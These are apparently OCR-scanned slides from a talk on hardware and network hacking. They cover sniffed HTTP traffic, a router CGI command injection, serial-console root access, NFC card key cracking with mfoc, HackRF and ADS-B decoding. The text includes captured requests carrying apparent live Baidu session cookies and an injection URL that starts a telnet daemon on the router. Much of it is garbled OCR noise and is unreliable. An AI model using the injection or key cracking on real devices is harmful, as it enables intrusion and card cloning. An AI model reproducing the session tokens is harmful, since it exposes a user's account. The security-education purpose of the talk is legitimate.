the Constitution of a Basic Intrusion System
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a small, simple device for monitoring
-thernet communications
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T 192.168.31.103:55394 -> 61.135.185.168:80 [AP]
GET / HTTP/1.1..Host: dushu.baidu.com. -Accept: text/html,application/xhtml+
xml,application/xml;q=0.9,*/*;q=0.8. .Connection: keep-alive..Cookie: BAIDUI

D-Cu.-:'““"”‘"“'f-;-ff’“F52881F195:FG-1; BDUSS=IT 7 20 L aliiimeram e n hCWGx1b
GWZfilETOFTYklSVlh10V1nQ2BSTFBPenRXQVFBQUFBJCQAAAAAAAAAAAEAAAD4ilUbC3BO&WXf
mes zx ...................................................................

ARM-UE1bPrhNWb; BIDUPSID=C..__..____.. """"""59F52B81F195; H WISE SIDS=1"">
83_°" -5 102600_101556_100186_100017_102629_102546_100100_102080_102745_10

2016_102143_102510_102195_102624_102232_102240_102243_102684_102813_102360_

102626_102656_102791_102354_102543_102851_102632_101977_100917_102767; PLUS
=]; plus_lsv-7beaca050cb93b65109'intip. .User-Agent: Mozilla/5.0 (iPhone; CPU

L a n ‘ a iPhone OS 9 2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Vers
ion/9.0 Mobile/13C75 Safari/601.1..Accept-Language: en-us..Referer: https:/
/m.baidu.com/?from=844bsvit=£fps. -Accept-Encoding: gzip, deflate....
FHEHFFHAARREHF AR08 04341533443
T 192.168.31.103:55400 -> 61.135.185.168:80 [AP]

GET /iconfont_3b7b4le9.woff HTTP/1.1..Host: dushu.baidu.com..Cookie: BAIDUI
D=0 R RECC I CLCC LIRS 9FS52B81F195: FG=1; BDUSS=1aiiifu oot lUFSnhCWGx1b

GwzfilETOFTYk1SV1h10V1nQzB5TFBPenRXQVFBQUFBJCQAAAAAAAAAAAEAAADA i 1Ubc3BoaWxf

Zmx5ZXI

AAM-UE1bPrhNWb; BIDUPSID=C. .. ... 7770777977 "9F52B81F195; H WISE SIDS=1 "
83 AN .‘_102600_101556_100186_100017_102629_102546_100100_102080_102745_10

- 2016__102143_102510_102195_102624_102232_102240_102243_102684_102813_102360_
102626 102656_102'791_102354_102543_102851_102632_101977_100917_102767; PLUS
=]; plﬁs_lsv-?beacaos0cb93b651091ntip. .Connection: keep-alive..Accept: */*,
.If-Modified-Since: Mon, 27 Apr 2015 07:15:54 GMT..User-Agent: Mozilla/5.0

(iPhone; CPU iPhone OS 9 2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like
Gecko) Version/9.0 Mobile/13C75 Safari/601.1..Accept-Language: en-us..Refe
rer: http://dushu.baidu.com/..Accept-Encoding: gzip, deflate....

###
T 192.168.31.103:55394 -> 61.135.185.168:80 [AP]

GET /ajax/statistic/show?pageType=choice HTTP/1.1..Host: dushu.baidu.com..A
ccept-Encoding: gzip, deflate..Cookie: BAIDUID=(""0 " " na0a2914D0D6F59F52B81
F195:FG=1; BDUSS= 1 i mmaehCWGx1bGwz £i1ETOFTYk1SV1h10V1nQzB5TFB

PenRXQVFBQUFBJCQAAAAAAAAAAAEAAAD4 i 1Ubc3BoaWx £Zmx5SZX IAAAAAAAAAAAAAAAAAAAAAAA
-uE1bPrhNWb; BIDUPSID=00112
DT JLUNOD6F59F52B81F195; H WISE SIDS=108000uuuiiy 5 102600 101556 100186
100017_102629_102546_100100_ 102080 102745 102016 102143 102510 102195 1026
24_102232_102240 102243 102684 102813 102360 102626 102656 102791 102354 10
2543_102851 102632 101977 100917 102767; PLUS=1; plus lsv=7beaca050cb93b651
ogingip..Co;nectio;: keep-alive. .Accept: */*,.User-Agent: Mozilla/5.0 (iPho
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WIFI router




192.168.99. 1/cgi-binflucif;st X

C 192.168.99.1

CGI vulnerability

http://192.168.99.1/cgi-bin/luci/;stok=XXXXXXXX/admin/wifi_home
newwifi/comcmd?cmd=busybox telnet -p 23|mfg2 telnet 1

newwifi/comcmd?cmd=busybox%20telnetd%20-p%2023|mfg2%20telnet%201
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Add TTL Serial Plug
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Add TTL Serial Plug

USB —>TTL

RTL2832U
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Applications ~ Places ~ ~Terminal ~ Sun 08:37 8 1

.

root@kali: ~

ﬂ File Edit View Search Terminal Help

o e o o e e e o o e e o o e e e o o e e e o o o e o e e ok

Software System Reset Occurred
S 0 0 2 e 0 0 0 0 e e e e o e e e e o o e e e o o o o o o ke

B [spi_wait_nsec: 14
lspi device id: ef 40 18 0 0 (40180000)
M Flash: W25Q128BV
¥** Warning - bad CRC, using default environment

2 By =
T | \/ _‘ )
| RISy, | ||\ e i i
iy _I\ e e ) .|
Ef. D-Team Technology
7 http://www.xcloud.cc
. Board:AC1200
===============System Info==================
. ASIC 7620 MP (Port5<-=None)

DRAM component: 1024 Mbits DDR, width 16
© DRAM bus: 16 bit

Flash component: SPI Flash

CPU Speed: 580 MHZ

SRRAERZFZEL , ESEIRESIE AR FREER Crl+G. N %
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PandoraBox login: root
uHttpd Server started. Password:
IP:192.168.99.245
Netmask :255.255.255.0
Default Router:0.0.0.0 BusyBox v1.22.1 (2015-01-13 14:46:46 CST) built-in shell (ash)
expecting 7143662 bytes Enter 'help' for a list of built-in commands.

Check image: G 7 20005

Image type --> Firmware _N_ ____ w2

Image Header Checksum --> 0K & e, N XN
Image Data Checksum --> 0K s (e ) | V> %
Image Data Size --> 0K N | N N e

PandoraBox SDK Plantform
Copyright 2013-2014
D-Team Technology Co.,Ltd. ShenZhen

Bytes transferred = 7143428 (6d0004 hex)
Upgrade linux kernel block !!

..................................................... Base on OpenWrt BARRIER BREAKER (14.09, r355)
..................................................... [ root@PandoraBox : /root]#ls

' [root@PandoraBox:/root]#uname -a

: | Linux PandoraBox 3.10.64 #20 Wed Jan 14 00:19:50 CST 2015 mips GNU/Linux
Done' [root@PandoraBox:/root]#j
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NFC Hacking

DM 8800 = Arduino + PN532
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NFC Hacking

RDM 8800 = Arduino + PN532

LIl
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NFC List
mfoc -O mycard.mfd

nfc-list uses libnfc 1.7.1
NFC device: pn532 uart:/dev/ttyUSB0 opened s Lt il (G L et e
1 IS014443A passive target(s) found: 2 (S$NS—RE$): Lt
ISO/IEC 14443A (106 kbps) target: " UID size: single
ATQA (SENS RES): 00 04 * bit frame anticollision supported
UID (NFCIDl1l): fa dé 9c 08
SAK (SEL RES): 08
Not compliant with ISO/IEC 14443-4

Not compliant with ISO/IEC 18092

UID (NFCID1): fa dé 9c 08
SAX (SEL RES): 0B

Fingerprinting based on MIFARE type Identification Procedure:

* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1X emulation

pwr
B =I - Other possible matches based on ATQA & SAK values:

o
=]

* AT " oo 1%

il ; T n MIFARE Classic 1K

Try to authenticate with default keys...
Symbols: '.' no key found, ' v £ . '\' B key found,
@ﬂ RDM8800 .\ 08 (Key: fEEEEFEEEEEE)
[Key: alalaZa3adas)
[Key: d3£f7d3£f7d3£7)
m; e [Key: 000000000000 ]

o0on
[Key: bOblb2b3bdb5)




PN532
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RDM 8800 = Ardu
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HackRF

 SDR peripheral capable of
transmission or reception of radio
signals from 1 MHz to 6 GHz.

* Designed to enable test and
development of modern and next
generation radio technologies

» HackRF One is an open source T lael NC ST/ MERIEE. -~~~ s
hardware platform that can be used BT T s
as a USB peripheral or programmed
for stand-alone operation.
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Dump 1090

ADS-B
open-source software

a Mode S decoder specifically
designed for RTLSDR devices.

773700
/809e5
/8000a
/80084
/8020d
/80b8c
/80015
780491
8621e2
886043
/80ddb6

CSN3542

CBJ5628
LKESGE66
CSZ9662
CSN3606
CCA1320
ANAS47

NCTO87

CHH/7929

Altitude

Speed

0.000

114.102
0.000

114.085
114.472
1L e e
113.949
114.332
114.165
114.086
113.694

Track Messages Seen

287
287
581
1183
1952
1611
877
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Windows

® ® [ 192.168.1.103:8080 X ._r New Tab %
U O EH @ =

~ C [ 192.168.1.103:8080
‘ ARl | B G4 N f (2 , 2
\\;'r A \ \‘“- / AL - 6106 "-\ Dump1090

11 planes on screen.
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Antenna

L~C / F*0.96
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Antenna

L~C / F*0.96
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Kali GNU/Linux 1.1.0 kali ttyl | | Create Launcher...

= ~ >
>= (Create URL Link...

,f__ Opf«r In New Windo

kali login: root B ~ e
Password : e i Create Folder...
Last login: Sun Jan 17 07:57:21 UTC 2016 on tty2

Linux kali 3.8.13-bone53 #1 SMP Thu Aug 21 00:55:33 EDT 2014 armu?l

Create From Te mpia

Open Terminal Here

The programs included with the Rali GNU/Linux system are free software: =

the exact distribution terms for each program are described in the

individual files in ~susrssharesdoc/#/copyright.

Kali GNU/Linux with ABSOLUTELY NO WARRANTY, to the extent =R
pernitted by applicable law. fange
root@kali:"# startx ’ R Anpiications

Reloase Dato: 2012-08-27 ecome, the more you are ablé to hear”
X Protocol Version 11, Revision ©

Build Operating System: Linux 3.16.6-0.bpo.4-armmp-lpac armu?]l Debian
Current Operating System: Linux kali 3.8.13-boneS3 #1 SHP Thu Aug 21 60:!
Kernel command line: console=tty00,115266n8 root=/dev/mncblkOp2 ro rootf:
Build Date: 69 February 2015 10:20:48AN
2:1.12.4-6+deb?ub (Julien Cristau < jcristau@debian.org>)

Current version of pixman: 6.26.0

Before reporting problems, check http:/swiki.x.org

to make sure that you have the latest version.

Ml B £ N\ wmmabad PreY Davee snmnliles M la fo=w) dalPaiwld caandd la.
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Thanks for your listening

QQ: 453045669
Blog: STNH.COM

BY-NC-SA




